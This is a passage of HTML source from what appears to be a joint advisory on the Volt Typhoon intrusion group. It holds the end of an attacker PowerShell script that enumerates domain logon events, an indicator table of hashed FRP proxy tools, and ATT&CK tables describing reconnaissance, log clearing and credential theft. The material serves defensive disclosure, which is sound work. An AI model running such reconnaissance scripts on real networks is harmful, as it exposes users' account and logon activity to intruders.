  3852. &lt;p&gt;# Crawl through events; print all logon history with type, date/time, status, account name, computer and IP address if user logged on remotely&lt;/p&gt;
  3853. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  3854. &lt;p&gt;&amp;nbsp;foreach ($e in $slogonevents){&lt;/p&gt;
  3855. &lt;p&gt;&amp;nbsp;# Logon Successful Events&lt;/p&gt;
  3856. &lt;p&gt;&amp;nbsp;# Local (Logon Type 2)&lt;/p&gt;
  3857. &lt;p&gt;&amp;nbsp;if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 2)){&lt;/p&gt;
  3858. &lt;p&gt;&amp;nbsp;write-host "Type: Local Logon`tDate: "$e.TimeGenerated "`tStatus: Success`tUser: "$e.ReplacementStrings[5] "`tWorkstation: "$e.ReplacementStrings[11]&lt;/p&gt;
  3859. &lt;p&gt;&amp;nbsp;}&lt;/p&gt;
  3860. &lt;p&gt;&amp;nbsp;# Remote (Logon Type 10)&lt;/p&gt;
  3861. &lt;p&gt;&amp;nbsp;if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 10)){&lt;/p&gt;
  3862. &lt;p&gt;&amp;nbsp;write-host "Type: Remote Logon`tDate: "$e.TimeGenerated "`tStatus: Success`tUser: "$e.ReplacementStrings[5] "`tWorkstation: "$e.ReplacementStrings[11] "`tIP Address: "$e.ReplacementStrings[18]&lt;/p&gt;
  3863. &lt;p&gt;&amp;nbsp;}}&lt;/p&gt;
  3864. &lt;/td&gt;
  3865. &lt;td&gt;The script is designed for user logon discovery in a Windows Active Directory environment. It retrieves a list of DCs and then queries security logs on these DCs for successful logon events (Event ID 4624) within the last day. The script differentiates between local (Logon Type 2) and remote (Logon Type 10) logon events. For each event, it extracts and displays details including the logon type, date/time of logon, status, account name, and the workstation or IP address used for the logon. Volt Typhoon may be leveraging this script to monitor user logon activities across the network, potentially to identify patterns, gather credentials, or track the movement of users and administrators within the network.&lt;/td&gt;
  3866. &lt;/tr&gt;
  3867. &lt;/tbody&gt;
  3868. &lt;/table&gt;
  3869. &lt;h3&gt;&lt;strong&gt;APPENDIX B: INDICATORS OF COMPROMISE&lt;/strong&gt;&lt;/h3&gt;
  3870. &lt;p&gt;See Table 4 for Volt Typhoon IOCs obtained by the U.S. authoring agencies during incident response activities.&lt;/p&gt;
  3871. &lt;p&gt;Note: See &lt;a href="https://www.cisa.gov/news-events/analysis-reports/ar24-038a" title="MAR-10448362-1.v1 Volt Typhoon"&gt;MAR-10448362-1.v1&lt;/a&gt; for more information on this malware.&lt;/p&gt;
  3872. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3873. &lt;caption&gt;&lt;em&gt;Table 4: Volt Typhoon Malicious Files and Associated Hashes&lt;/em&gt;&lt;/caption&gt;
  3874. &lt;thead&gt;
  3875. &lt;tr&gt;
  3876. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/th&gt;
  3877. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  3878. &lt;th role="columnheader"&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;/th&gt;
  3879. &lt;th role="columnheader"&gt;&lt;strong&gt;Hashes (SHA256)&lt;/strong&gt;&lt;/th&gt;
  3880. &lt;/tr&gt;
  3881. &lt;/thead&gt;
  3882. &lt;tbody&gt;
  3883. &lt;tr&gt;
  3884. &lt;td&gt;BrightmetricAgent.exe&lt;/td&gt;
  3885. &lt;td&gt;
  3886. &lt;p&gt;The file is an FRP that could be used to reveal servers situated behind a network firewall or obscured through Network Address Translation (NAT).&lt;/p&gt;
  3887. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  3888. &lt;/td&gt;
  3889. &lt;td&gt;fd41134e8ead1c18ccad27c62a260aa6&lt;/td&gt;
  3890. &lt;td&gt;edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70&lt;/td&gt;
  3891. &lt;/tr&gt;
  3892. &lt;tr&gt;
  3893. &lt;td&gt;SMSvcService.exe&lt;/td&gt;
  3894. &lt;td&gt;The file is a Windows executable "FRPC” designed to open a reverse proxy between the compromised system and the threat actor(s) C2 server.&lt;/td&gt;
  3895. &lt;td&gt;b1de37bf229890ac181bdef1ad8ee0c2&lt;/td&gt;
  3896. &lt;td&gt;99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1&lt;/td&gt;
  3897. &lt;/tr&gt;
  3898. &lt;/tbody&gt;
  3899. &lt;/table&gt;
  3900. &lt;p&gt;&lt;strong&gt;APPENDIX C: MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/p&gt;
  3901. &lt;p&gt;See Table 5 through Table 17 for all referenced threat actor tactics and techniques in this advisory.&lt;/p&gt;
  3902. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3903. &lt;caption&gt;&lt;em&gt;Table 5: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  3904. &lt;thead&gt;
  3905. &lt;tr&gt;
  3906. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Reconnaissance&lt;/strong&gt;&lt;/th&gt;
  3907. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  3908. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  3909. &lt;/tr&gt;
  3910. &lt;tr&gt;
  3911. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  3912. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  3913. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  3914. &lt;/tr&gt;
  3915. &lt;/thead&gt;
  3916. &lt;tbody&gt;
  3917. &lt;tr&gt;
  3918. &lt;td&gt;Gather Victim Host Information&lt;/td&gt;
  3919. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1592/" title="Gather Victim Host Information"&gt;T1592&lt;/a&gt;&lt;/td&gt;
  3920. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.&lt;/td&gt;
  3921. &lt;/tr&gt;
  3922. &lt;tr&gt;
  3923. &lt;td&gt;Gather Victim Identity Information&lt;/td&gt;
  3924. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/" title="Gather Victim Identity Information"&gt;T1589&lt;/a&gt;&lt;/td&gt;
  3925. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s staff.&lt;/td&gt;
  3926. &lt;/tr&gt;
  3927. &lt;tr&gt;
  3928. &lt;td&gt;Gather Victim Identity Information: Email Addresses&lt;/td&gt;
  3929. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/002/" title="Gather Victim Identity Information: Email Addresses"&gt;T1589.002&lt;/a&gt;&lt;/td&gt;
  3930. &lt;td&gt;Volt Typhoon targets the personal emails of key network and IT staff.&lt;/td&gt;
  3931. &lt;/tr&gt;
  3932. &lt;tr&gt;
  3933. &lt;td&gt;Gather Victim Network Information&lt;/td&gt;
  3934. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1590/" title="Gather Victim Network Information"&gt;T1590&lt;/a&gt;&lt;/td&gt;
  3935. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network.&lt;/td&gt;
  3936. &lt;/tr&gt;
  3937. &lt;tr&gt;
  3938. &lt;td&gt;Gather Victim Org Information&lt;/td&gt;
  3939. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1591/" title="Gather Victim Org Information"&gt;T1591&lt;/a&gt;&lt;/td&gt;
  3940. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization.&lt;/td&gt;
  3941. &lt;/tr&gt;
  3942. &lt;tr&gt;
  3943. &lt;td&gt;Search Open Websites/Domains&lt;/td&gt;
  3944. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1593/" title="Search Open Websites/Domains"&gt;T1593&lt;/a&gt;&lt;/td&gt;
  3945. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.&lt;/td&gt;
  3946. &lt;/tr&gt;
  3947. &lt;tr&gt;
  3948. &lt;td&gt;Search Victim-Owned Websites&lt;/td&gt;
  3949. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1594/" title="Search Victim-Owned Websites"&gt;T1594&lt;/a&gt;&lt;/td&gt;
  3950. &lt;td&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.&lt;/td&gt;
  3951. &lt;/tr&gt;
  3952. &lt;/tbody&gt;
  3953. &lt;/table&gt;
  3954. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3955. &lt;caption&gt;&lt;em&gt;Table 6: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Resource Development&lt;/em&gt;&lt;/caption&gt;
  3956. &lt;thead&gt;
  3957. &lt;tr&gt;
  3958. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Resource Development&lt;/strong&gt;&lt;/th&gt;
  3959. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  3960. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  3961. &lt;/tr&gt;
  3962. &lt;tr&gt;
  3963. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  3964. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  3965. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  3966. &lt;/tr&gt;
  3967. &lt;/thead&gt;
  3968. &lt;tbody&gt;
  3969. &lt;tr&gt;
  3970. &lt;td&gt;Acquire Infrastructure: Botnet&lt;/td&gt;
  3971. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/005/" title="Acquire Infrastructure: Botnet"&gt;T1583.003&lt;/a&gt;&lt;/td&gt;
  3972. &lt;td&gt;Volt Typhoon uses multi-hop proxies for command-and-control infrastructure. The proxy is typically composed of Virtual Private Servers (VPSs) or small office/home office (SOHO) routers.&lt;/td&gt;
  3973. &lt;/tr&gt;
  3974. &lt;tr&gt;
  3975. &lt;td&gt;Compromise Infrastructure: Botnet&lt;/td&gt;
  3976. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1584/005/" title="Compromise Infrastructure: Botnet"&gt;T1584.005&lt;/a&gt;&lt;/td&gt;
  3977. &lt;td&gt;Volt Typhoon used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations.&lt;/td&gt;
  3978. &lt;/tr&gt;
  3979. &lt;tr&gt;
  3980. &lt;td&gt;Compromise Infrastructure: Server&lt;/td&gt;
  3981. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1584/004/" title="Compromise Infrastructure: Server"&gt;T1584.004&lt;/a&gt;&lt;/td&gt;
  3982. &lt;td&gt;Volt Typhoon has redirected specific port traffic to their proxy infrastructure, effectively converting the PRTG’s Detection Guidance server into a proxy for their C2 traffic.&lt;/td&gt;
  3983. &lt;/tr&gt;
  3984. &lt;tr&gt;
  3985. &lt;td&gt;Develop Capabilities: Exploits&lt;/td&gt;
  3986. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1587/004/" title="Develop Capabilities: Exploits"&gt;T1587.004&lt;/a&gt;&lt;/td&gt;
  3987. &lt;td&gt;Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.&lt;/td&gt;
  3988. &lt;/tr&gt;
  3989. &lt;tr&gt;
  3990. &lt;td&gt;Obtain Capabilities: Exploits&lt;/td&gt;
  3991. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1588/005/" title="Obtain Capabilities: Exploits"&gt;T1588.005&lt;/a&gt;&lt;/td&gt;
  3992. &lt;td&gt;Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.&lt;/td&gt;
  3993. &lt;/tr&gt;
  3994. &lt;/tbody&gt;
  3995. &lt;/table&gt;
  3996. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3997. &lt;caption&gt;&lt;em&gt;Table 7: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Initial Access&lt;/em&gt;&lt;/caption&gt;
  3998. &lt;thead&gt;
  3999. &lt;tr&gt;
  4000. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/th&gt;
  4001. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4002. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4003. &lt;/tr&gt;
  4004. &lt;tr&gt;
  4005. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4006. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4007. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4008. &lt;/tr&gt;
  4009. &lt;/thead&gt;
  4010. &lt;tbody&gt;
  4011. &lt;tr&gt;
  4012. &lt;td&gt;Exploit Public-Facing Application&lt;/td&gt;
  4013. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" target="_blank" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;&lt;/td&gt;
  4014. &lt;td&gt;Volt Typhoon commonly exploits vulnerabilities in networking appliances such as Fortinet, Ivanti (formerly Pulse Secure), NETGEAR, Citrix, and Cisco.&lt;/td&gt;
  4015. &lt;/tr&gt;
  4016. &lt;tr&gt;
  4017. &lt;td&gt;External Remote Services&lt;/td&gt;
  4018. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/td&gt;
  4019. &lt;td&gt;Volt Typhoon often uses VPN sessions to securely connect to victim environments, enabling discreet follow-on intrusion activities.&lt;/td&gt;
  4020. &lt;/tr&gt;
  4021. &lt;/tbody&gt;
  4022. &lt;/table&gt;
  4023. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4024. &lt;caption&gt;&lt;em&gt;Table 8: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Execution&lt;/em&gt;&lt;/caption&gt;
  4025. &lt;thead&gt;
  4026. &lt;tr&gt;
  4027. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/th&gt;
  4028. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4029. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4030. &lt;/tr&gt;
  4031. &lt;tr&gt;
  4032. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4033. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4034. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4035. &lt;/tr&gt;
  4036. &lt;/thead&gt;
  4037. &lt;tbody&gt;
  4038. &lt;tr&gt;
  4039. &lt;td&gt;Command and Scripting Interpreter&lt;/td&gt;
  4040. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/" title="Command and Scripting Interpreter"&gt;T1059&lt;/a&gt;&lt;/td&gt;
  4041. &lt;td&gt;Volt Typhoon uses hands-on-keyboard execution for their malicious activity via the command-line.&lt;/td&gt;
  4042. &lt;/tr&gt;
  4043. &lt;tr&gt;
  4044. &lt;td&gt;Command and Scripting Interpreter: PowerShell&lt;/td&gt;
  4045. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/001/" title="Command and Scripting Interpreter: PowerShell"&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
  4046. &lt;td&gt;Volt Typhoon has executed clients via PowerShell.&lt;/td&gt;
  4047. &lt;/tr&gt;
  4048. &lt;tr&gt;
  4049. &lt;td&gt;Command and Scripting Interpreter: Unix Shell&lt;/td&gt;
  4050. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/004" title="Command and Scripting Interpreter: Unix Shell"&gt;T1059.004&lt;/a&gt;&lt;/td&gt;
  4051. &lt;td&gt;Volt Typhoon has used &lt;code&gt;Brightmetricagent.exe&lt;/code&gt;, which contains multiplexer libraries that can bi-directionally stream data over through NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management, Instrumentation (WMI), and Z Shell (zsh).&lt;/td&gt;
  4052. &lt;/tr&gt;
  4053. &lt;tr&gt;
  4054. &lt;td&gt;Windows Management Instrumentation&lt;/td&gt;
  4055. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1047/" title="Windows Management Instrumentation"&gt;T1047&lt;/a&gt;&lt;/td&gt;
  4056. &lt;td&gt;Volt Typhoon has used Windows Management Instrumentation Console (WMIC) commands.&lt;/td&gt;
  4057. &lt;/tr&gt;
  4058. &lt;/tbody&gt;
  4059. &lt;/table&gt;
  4060. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4061. &lt;caption&gt;&lt;em&gt;Table 9: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Persistence&lt;/em&gt;&lt;/caption&gt;
  4062. &lt;thead&gt;
  4063. &lt;tr&gt;
  4064. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/th&gt;
  4065. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4066. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4067. &lt;/tr&gt;
  4068. &lt;tr&gt;
  4069. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4070. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4071. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4072. &lt;/tr&gt;
  4073. &lt;/thead&gt;
  4074. &lt;tbody&gt;
  4075. &lt;tr&gt;
  4076. &lt;td&gt;Valid Accounts&lt;/td&gt;
  4077. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/td&gt;
  4078. &lt;td&gt;Volt Typhoon primarily relies on valid credentials for persistence.&lt;/td&gt;
  4079. &lt;/tr&gt;
  4080. &lt;/tbody&gt;
  4081. &lt;/table&gt;
  4082. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4083. &lt;caption&gt;&lt;em&gt;Table 10: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Privilege Escalation&lt;/em&gt;&lt;/caption&gt;
  4084. &lt;thead&gt;
  4085. &lt;tr&gt;
  4086. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;&lt;/th&gt;
  4087. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4088. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4089. &lt;/tr&gt;
  4090. &lt;tr&gt;
  4091. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4092. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4093. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4094. &lt;/tr&gt;
  4095. &lt;/thead&gt;
  4096. &lt;tbody&gt;
  4097. &lt;tr&gt;
  4098. &lt;td&gt;Exploitation for Privilege Escalation&lt;/td&gt;
  4099. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1068/" title="Exploitation for Privilege Escalation"&gt;T1068&lt;/a&gt;&lt;/td&gt;
  4100. &lt;td&gt;Volt Typhoon first obtains credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.&lt;/td&gt;
  4101. &lt;/tr&gt;
  4102. &lt;/tbody&gt;
  4103. &lt;/table&gt;
  4104. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4105. &lt;caption&gt;&lt;em&gt;Table 11: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  4106. &lt;thead&gt;
  4107. &lt;tr&gt;
  4108. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&lt;/th&gt;
  4109. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4110. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4111. &lt;/tr&gt;
  4112. &lt;tr&gt;
  4113. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4114. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4115. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4116. &lt;/tr&gt;
  4117. &lt;/thead&gt;
  4118. &lt;tbody&gt;
  4119. &lt;tr&gt;
  4120. &lt;td&gt;Direct Volume Access&lt;/td&gt;
  4121. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1006/" title="Direct Volume Access"&gt;T1006&lt;/a&gt;&lt;/td&gt;
  4122. &lt;td&gt;Volt Typhoon has executed the Windows-native &lt;code&gt;vssadmin&lt;/code&gt; command to create a volume shadow copy.&lt;/td&gt;
  4123. &lt;/tr&gt;
  4124. &lt;tr&gt;
  4125. &lt;td&gt;Indicator Removal: Clear Persistence&lt;/td&gt;
  4126. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/009/" title="Indicator Removal: Clear Persistence"&gt;T1070.009&lt;/a&gt;&lt;/td&gt;
  4127. &lt;td&gt;Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.&lt;/td&gt;
  4128. &lt;/tr&gt;
  4129. &lt;tr&gt;
  4130. &lt;td&gt;Indicator Removal: Clear Windows Event Logs&lt;/td&gt;
  4131. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/001/" title="Indicator Removal: Clear Windows Event Logs"&gt;T1070.001&lt;/a&gt;&lt;/td&gt;
  4132. &lt;td&gt;Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.&lt;/td&gt;
  4133. &lt;/tr&gt;
  4134. &lt;tr&gt;
  4135. &lt;td&gt;Indicator Removal: File Deletion&lt;/td&gt;
  4136. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/004/" title="Indicator Removal: File Deletion"&gt;T1070.004&lt;/a&gt;&lt;/td&gt;
  4137. &lt;td&gt;Volt Typhoon created &lt;code&gt;systeminfo.dat&lt;/code&gt; in &lt;code&gt;C:\Users\Public\Documents&lt;/code&gt;, but subsequently deleted it.&lt;/td&gt;
  4138. &lt;/tr&gt;
  4139. &lt;tr&gt;
  4140. &lt;td&gt;Masquerading: Match Legitimate Name or Location&lt;/td&gt;
  4141. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1036/005/" title="Masquerading: Match Legitimate Name or Location"&gt;T1036.005&lt;/a&gt;&lt;/td&gt;
  4142. &lt;td&gt;Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.&lt;/td&gt;
  4143. &lt;/tr&gt;
  4144. &lt;tr&gt;
  4145. &lt;td&gt;Modify Registry&lt;/td&gt;
  4146. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1112" title="Modify Registry"&gt;T1112&lt;/a&gt;&lt;/td&gt;
  4147. &lt;td&gt;Volt Typhoon has used the &lt;code&gt;netsh&lt;/code&gt; command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.&lt;/td&gt;
  4148. &lt;/tr&gt;
  4149. &lt;tr&gt;
  4150. &lt;td&gt;Obfuscated Files or Information: Software Packing&lt;/td&gt;
  4151. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/002/" title="Obfuscated Files or Information: Software Packing"&gt;T1027.002&lt;/a&gt;&lt;/td&gt;
  4152. &lt;td&gt;Volt Typhoon has obfuscated FRP client files (&lt;code&gt;BrightmetricAgent.exe&lt;/code&gt; and &lt;code&gt;SMSvcService.exe&lt;/code&gt;) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX).&lt;/td&gt;
  4153. &lt;/tr&gt;
  4154. &lt;tr&gt;
  4155. &lt;td&gt;System Binary Proxy Execution&lt;/td&gt;
  4156. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1218/" title="System Binary Proxy Execution"&gt;T1218&lt;/a&gt;&lt;/td&gt;
  4157. &lt;td&gt;Volt Typhoon uses hands-on-keyboard activity via the command-line and use other native tools and processes on systems (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks.&lt;/td&gt;
  4158. &lt;/tr&gt;
  4159. &lt;/tbody&gt;
  4160. &lt;/table&gt;
  4161. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4162. &lt;caption&gt;&lt;em&gt;Table 12: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Credential Access&lt;/em&gt;&lt;/caption&gt;
  4163. &lt;thead&gt;
  4164. &lt;tr&gt;
  4165. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/th&gt;
  4166. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4167. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4168. &lt;/tr&gt;
  4169. &lt;tr&gt;
  4170. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4171. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4172. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4173. &lt;/tr&gt;
  4174. &lt;/thead&gt;
  4175. &lt;tbody&gt;
  4176. &lt;tr&gt;
  4177. &lt;td&gt;Brute Force: Password Cracking&lt;/td&gt;
  4178. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/002/" title="Brute Force: Password Cracking"&gt;T1110.002&lt;/a&gt;&lt;/td&gt;
  4179. &lt;td&gt;Volt Typhoon has exfiltrated &lt;code&gt;NTDS.dit&lt;/code&gt; and &lt;code&gt;SYSTEM&lt;/code&gt; registry hive to crack passwords offline.&lt;/td&gt;
  4180. &lt;/tr&gt;
  4181. &lt;tr&gt;
  4182. &lt;td&gt;Credentials from Password Stores&lt;/td&gt;
  4183. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555" title="Credentials from Password Stores"&gt;T1555&lt;/a&gt;&lt;/td&gt;
  4184. &lt;td&gt;Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.&lt;/td&gt;
  4185. &lt;/tr&gt;
  4186. &lt;tr&gt;
  4187. &lt;td&gt;Credentials from Password Stores: Credentials from Web Browsers&lt;/td&gt;
  4188. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/003/" title="Credentials from Password Stores: Credentials from Web Browsers"&gt;T1555.003&lt;/a&gt;&lt;/td&gt;
  4189. &lt;td&gt;Volt Typhoon has strategically targeted network administrator web browser data, focusing on both browsing history and stored credentials.&lt;/td&gt;
  4190. &lt;/tr&gt;
  4191. &lt;tr&gt;
  4192. &lt;td&gt;OS Credential Dumping: LSASS Memory&lt;/td&gt;
  4193. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;&lt;/td&gt;
